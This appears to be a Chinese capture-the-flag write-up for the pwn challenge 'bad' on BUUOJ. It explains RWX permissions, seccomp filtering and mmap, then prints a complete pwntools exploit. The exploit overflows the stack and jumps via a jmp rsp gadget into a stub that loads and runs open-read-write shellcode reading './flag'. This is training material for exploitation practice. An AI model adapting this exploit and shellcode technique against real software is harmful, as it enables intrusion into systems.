RWX
- Linux的文件和目录的权限,有RWX三种。
- r(Read,读取):对文件而言,具有读取文件内容的权限;对目录来说,具有浏览目录的权限。
- w(Write,写入):对文件而言,具有新增,修改,删除文件内容的权限;对目录来说,具有新建,删除,修改,移动目录内文件的权限。
- x(eXecute,执行):对文件而言,具有执行文件的权限;对目录了来说该用户具有进入目录的权限
用seccomp-tools检测一下seccomp-tools dump ./bad
可运行open,read,write,也就是ORW
关键点
void *mmap(void *start,size_t length,int prot,int flags,int fd,off_t offsize);
mmap()函数的主要用途有三个: 1、将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代I/O读写,以获得较高的性能; 2、将特殊文件进行匿名内存映射,可以为关联进程提供共享内存空间; 3、为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。 ———————————————— 版权声明:本文为CSDN博主「为幸福写歌」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接
总的来说就是,我们可以在这里写入orw_shellcode然后运行hhh
orw_shellcode = shellcraft.open("./flag")
orw_shellcode += shellcraft.read(3,0x123000,0x30)
orw_shellcode += shellcraft.write(1,0x123000,0x30)
read(3,addr,length),3指从文件目录中读取
payload = asm(shellcraft.read(0,0x123000,0x90)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28,"\x00")
payload += p64(0x400A01)#jmp rsp
payload += asm("sub rsp,0x30;call rsp")
sh.sendline(payload)
这样子,我们溢出之后,先执行jmp rsp,然后读入到0x123000的shellcdoe,读入完成之后执行call rax运行shellcode
完整exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./bad')
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if debug == 1:
sh = process('./bad')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote(ip,port)
lib = ELF('/home/robye/Desktop/PWN/libc/64-libc-2.27.so')
orw_shellcode = shellcraft.open("./flag")
orw_shellcode += shellcraft.read(3,0x123000,0x30)
orw_shellcode += shellcraft.write(1,0x123000,0x30)
sh.recvuntil("fun!")
payload = asm(shellcraft.read(0,0x123000,0x90)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28,"\x00")
payload += p64(0x400A01)
payload += asm("sub rsp,0x30;call rsp")
sh.sendline(payload)
sleep(0.1)
sh.sendline(asm(orw_shellcode))
sh.interactive()
if __name__ == "__main__":
pwn("node3.buuoj.cn",26591,0)
向Qfroest大佬学习
「真诚赞赏,手留余香」
真诚赞赏,手留余香
使用微信扫描二维码完成支付